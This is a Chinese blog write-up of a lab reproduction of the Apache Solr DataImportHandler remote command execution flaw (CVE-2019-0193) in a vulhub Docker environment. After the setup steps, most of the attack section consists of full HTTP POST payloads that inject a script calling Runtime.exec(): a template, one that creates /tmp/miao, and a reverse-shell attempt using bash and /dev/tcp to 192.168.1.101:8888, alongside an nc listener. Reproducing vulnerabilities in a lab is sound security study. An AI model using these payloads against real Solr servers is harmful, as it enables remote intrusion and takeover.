Apache Solr远程命令执行漏洞复现CVE-2019-0193

发布于 2023-08-05  470 次阅读


前置知识

  • 首先是环境配置,cd到CVE-2019-0193目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下,启动成功
find ./ -name *CVE-2019*
docker-compose up -d
docker ps
  • 这里出了点小问题,如果我在vulhub目录下面find出来了CVE-2019-0193,cd进去执行容器构建,就会拉不下来镜像

  • 但是如果我使用find找到了文件之后使用文件管理器进入目录,再右键打开终端构建容器,镜像就可以拉取下来了😋

  • 因为和上一篇CVE-2017-12629一样都是打Apache Solr,就省略掉这个服务的介绍辣

  • 此漏洞存在于可选模块DataImportHandler中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行。

  • 漏洞利用条件为Apache Solr <8.2.0

漏洞复现

  • 先访问一下服务,和上一篇一样,服务默认开在8983端口,访问看看版本,Apache Solr组件版本为8.1.1,满足利用条件

  • 这个CVE-2019-0193的环境不像上一个CVE-2017-12629的环境一样自带了一个core
在 Apache Solr 中,"core" 是一个重要的概念,它表示了 Solr 实例中的一个独立的、可搜索的索引。每个 Solr 实例可
以包含一个或多个核心(core)。每个核心都代表一个单独的索引,它可以包含特定的数据集、配置和模式。核心使得 Solr
能够同时管理和服务多个独立的搜索需求。

每个核心都有自己的配置文件、模式定义、数据目录等。不同的核心可以具有不同的配置,从而允许您为不同的数据集和搜索
需求进行不同的设置。

通过核心的概念,Solr 能够有效地管理和分配系统资源,实现多租户的搜索环境。每个核心可以独立地执行索引、查询和维护
操作,从而提高了系统的灵活性和性能。

在 Solr 的配置中,您可以通过配置文件(例如 solr.xml)来定义和管理核心。您可以在 Solr 的管理界面中创建、删除、
重载和管理核心,以满足不同的搜索需求。核心是 Solr 集群中的一个基本单元,可以帮助您更好地组织和管理索引和搜索功
能。
  • 可以验证一下,和上一篇一样,访问一下/solr/admin/cores,发现什么都没有,所有也没有相关的功能模块,就无从利用了

  • 所以要在docker那边连上镜像内部的shell然后开一个core,这样就创建了一个名为test_0nth3way的core
docker exec -i bb7ad10eadc3 /bin/bash
bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db

  • 访问/solr/admin/cores验证一下,新的core已经有了

  • 如果要删除core也是可以的,用delete命令指定core的名字就行了,然后根据提示访问/solr/admin/cores?action=UNLOAD&core=test_0nth3way&deleteIndex=true&deleteDataDir=true&deleteInstanceDir=true
bin/solr delete -c test_0nth3way -deleteConfig true

  • 访问/solr/admin/cores验证一下,test_0nth3way已经被删除了

  • 重新添加一个名为miao的core,因为漏洞产生点在DataImportHandler模块,所以要检测是否有DataImportHandler模块,访问/solr/你创建的core的名字/admin/mbeans?cat=QUERY&wt=json,如果dataimport里面有org.apache.solr.handler.dataimport.DataImportHandler就说明有DataImportHandler模块
bin/solr create_core -c miao -d example/example-DIH/solr/db

  • 然后拿payload打就行了,burp发包,改一下服务器的ip和创建的core的名字就能用,将想要执行的命令填在process.exec()里面就行
POST /solr/创建的core的名字/dataimport HTTP/1.1
Host: 服务器的ip:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
  • 这里先在/tmp/目录创建一个miao试一试能不能实现rce
POST /solr/miao/dataimport HTTP/1.1
Host: 192.168.1.101:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("touch /tmp/miao");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

  • 成功创建了一个miao文件,成功实现rce,并且我测试了一下,不存在上一篇CVE-2017-12629的命名重复导致rce失败的问题,在当前模板直接改利用语句就可以了

  • 老样子,试试反弹shell,服务器返回500了,也没有成功,能rce也行吧,实战遇到了可以试试别的弹shell的办法.
nc -lvnp 8888
POST /solr/miao/dataimport HTTP/1.1
Host: 192.168.1.101:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("bash -i >& /dev/tcp/192.168.1.101/8888 0>&1");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

届ける言葉を今は育ててる
最后更新于 2024-02-07